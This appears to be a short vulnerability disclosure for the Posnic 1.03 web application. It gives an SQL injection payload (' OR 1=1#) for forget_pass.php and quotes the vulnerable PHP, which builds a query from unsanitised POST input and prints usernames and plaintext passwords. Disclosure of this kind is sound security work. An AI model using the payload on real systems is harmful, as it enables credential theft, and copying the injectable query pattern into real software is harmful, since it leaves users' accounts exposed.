Posnic 1.03 Unauthorized Password Recovery Vulnerability

-------------------------------------------------------------------------
[+] Posnic 1.03 (forget_pass.php) Unauthorized Password Recovery
 ------------------------------------------------------------------------
[*] Discovered by Juri Gianni - Turin,Italy
[*] staker - staker[at]hotmail[dot]it / shrod9[at]gmail[dot]com
[*] Discovered on 09/02/2017
[*] Site Vendor: http://www.posnic.com/
[*] Category: WebApp
[*] BUG: SQL Injection
--------------------------------------------------------------------------




--------------------------------------------------------------------------------------
[+] SQL Injection

 #  Go to posnic-1.03/forget_pass.php and insert:  ' OR 1=1#  as reply

 #  This happens because of forget_pass.php

----------------------------------------------------------------------------------------

Line 109

   <?php if (isset($_POST['submit']) and isset($_POST['name'])){ ?>     
    <fieldset style="margin-left: 600px"><p><?php
            $name = $_POST['name'];        <--- variable not sanized  {1}
            $count = $db->queryUniqueValue("select sum(id) FROM stock_user where answer ='" . $name . "'"); <-- query

            if ($count > 0){
            $line = $db->queryUniqueObject("SELECT * FROM stock_user where answer ='" . $name . "'");

            echo " User Name: <strong style=color:blue> $line->username </strong> <br><br>";
            echo " Password: <strong style=color:blue>  $line->password </strong> ";
            ?>

Line 119

--------------------------------------------------------------------------------------





------------------------------------------------------------------------

#  0day.today [2018-01-06]  #